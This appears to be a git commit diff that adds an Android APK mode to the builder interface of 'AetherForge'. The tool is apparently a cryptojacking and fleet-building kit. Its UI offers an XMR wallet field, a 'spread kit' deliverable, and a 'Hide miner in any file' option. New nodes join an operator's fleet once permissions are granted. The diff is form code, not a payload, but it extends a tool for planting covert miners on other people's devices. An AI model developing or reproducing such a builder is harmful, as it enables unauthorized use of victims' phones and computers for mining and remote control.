Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
AetherForge
2026-06-07 02:44:29 -07:00
parent d9f36f182c
commit 50ebfe53cb
89 changed files with 2849 additions and 82 deletions

View File

@@ -1656,7 +1656,11 @@ export default function BuilderPage() {
)}
<div className="form-group">
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
<label className="label">
XMR Wallet Address {!form.apk_mode && <HelpTip field="wallet" />}
{form.apk_mode && <span className="form-hint"> (optional)</span>}
{form.apk_mode && <HelpTip field="wallet" />}
</label>
<input
type="text"
className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
@@ -1828,7 +1832,11 @@ export default function BuilderPage() {
type="text"
className="input"
disabled
value="Universal (all platforms)"
value={
form.apk_mode
? 'Android (arm64)'
: 'Universal (all platforms)'
}
readOnly
/>
) : (
@@ -1868,6 +1876,26 @@ export default function BuilderPage() {
Upload nothing forge produces the deploy ZIP.
</p>
)}
<div className={`form-group checkbox-group ${fieldMeta.apk_mode?.disabled ? 'field-disabled' : ''}`} style={{ marginTop: '0.75rem' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={!!form.apk_mode}
disabled={fieldMeta.apk_mode?.disabled}
onChange={(e) => updateField('apk_mode', e.target.checked)}
/>
<span>APK mode <HelpTip field="apk_mode" /></span>
</label>
<FieldHint field="apk_mode" />
<ForgeLockedHint meta={fieldMeta.apk_mode} />
</div>
{form.apk_mode && (
<p className="form-hint">
Install the forged APK on a phone or tablet. Grant permissions on first open the node joins your fleet as{' '}
<code>platform=android</code> (mining off by default). Not a mining-first deliverable; use for fleet presence on mobile.
</p>
)}
</div>
{!simpleMode && (
@@ -2281,7 +2309,7 @@ export default function BuilderPage() {
</>
)}
{deliverableType !== 'spread_kit' && (
{deliverableType !== 'spread_kit' && !form.apk_mode && (
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Fusion — Hide miner in any file"